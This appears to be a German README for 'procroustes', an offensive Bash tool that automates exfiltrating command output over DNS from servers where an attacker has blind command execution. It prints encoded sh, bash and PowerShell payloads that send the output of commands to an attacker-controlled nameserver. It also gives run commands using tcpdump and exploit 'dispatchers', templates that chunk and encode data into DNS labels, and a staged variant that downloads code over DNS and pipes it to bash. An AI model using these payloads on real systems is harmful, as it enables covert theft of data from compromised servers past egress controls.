
Ein Bash-Skript, das die Exfiltration von Daten über DNS automatisiert für den Fall, dass wir eine blinde Befehlsausführung auf einem Server mit Ausgangsfilterung haben.
Ein Bash-Skript, das die Exfiltration von Daten über DNS automatisiert, falls wir eine blinde Befehlsausführung auf einem Server haben, auf dem alle ausgehenden Verbindungen außer DNS blockiert sind. Das Skript unterstützt derzeit sh, bash und powershell und ist mit exec-artiger Befehlsausführung kompatibel (z.B. java.lang.Runtime.exec).
Unstaged:
Staged:
Für seine Operationen nimmt das Skript als Eingabe den Befehl, den wir auf dem Zielserver ausführen möchten, und transformiert ihn entsprechend der Ziel-Shell, um die Ausgabe über DNS exfiltrieren zu können. Nach der Transformation wird der Befehl an den „Dispatcher“ übergeben. Der Dispatcher ist ein vom Benutzer bereitgestelltes Programm, das dafür verantwortlich ist, einen Befehl als Eingabe zu nehmen und ihn auf dem Zielserver mit allen erforderlichen Mitteln (z.B. Ausnutzen einer Sicherheitslücke) auszuführen. Nachdem der Befehl auf dem Zielserver ausgeführt wurde, werden DNS-Anfragen an unseren DNS-Nameserver erwartet, die Teile unserer Daten enthalten. Das Skript lauscht auf diese Anfragen, bis die Ausgabe des vom Benutzer bereitgestellten Befehls vollständig exfiltriert ist.
Nachfolgend sind die unterstützten Befehlstransformationen aufgeführt, die für die Exfiltration des Befehls ls erstellt wurden:
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
Kurz gesagt, angenommen wir möchten einige Daten exfiltrieren, die in vier Teile aufgeteilt werden müssen, um über DNS übertragen werden zu können:
Einige Unterschiede lassen sich auch anhand der Vorlagenbefehle für bash veranschaulichen:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
[1] Bei der gestaffelten Version wird der Befehl über DNS heruntergeladen, daher ist die angegebene Größe auch die gesamte Payload-Größe.
[2] Bei procroustes_chunked wird der Dispatcher mehrfach aufgerufen, ebenso wie der bereitgestellte Befehl, der auf dem Server ausgeführt werden soll (bis seine gesamte Ausgabe exfiltriert ist). Dieses Verhalten ist nicht ideal, wenn die Zustellung von Befehlen an den Server (durch Aufrufen des Dispatchers) zeit- oder ressourcenintensiv ist.
Es kann auch Probleme verursachen, wenn der auf dem Server ausgeführte Befehl nicht idempotent (funktional oder ausgabe-technisch, z.B. „ls;rm file“) oder zeit-/ressourcenintensiv ist (z.B. find / -name secret). Eine Problemumgehung in diesem Fall besteht darin, die Befehlsausgabe zuerst in einer Datei zu speichern (z.B. /tmp/file) und dann das Skript zu verwenden, um diese Datei zu lesen.
[3] Bei der gestaffelten Version haben wir den Overhead der Zeit, die benötigt wird, um die eigentliche Payload über DNS zu erhalten. Es sollte beachtet werden, dass das Skript A-Records verwendet, um die eigentliche Payload zu erhalten. Obwohl dies es unserem Verkehr ermöglicht, sich besser in den regulären Verkehr der Zielumgebung einzufügen, bietet es eine begrenzte Kanalkapazität (z.B. 4 Bytes pro Anfrage). Wir könnten andere Record-Typen wie TXT verwenden und die Stufe-Download-Zeit (nahezu auf null) und die Stager-Größe minimieren.
| procroustes_chunked | procroustes_full | procroustes_full_staged |
|---|
| Payload-Größen-Overhead (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| Anzahl Dispatcher-Aufrufe | #Ausgabe/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| Geschwindigkeit (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| Konfigurationsschwierigkeit | einfach | einfach+ | mittel |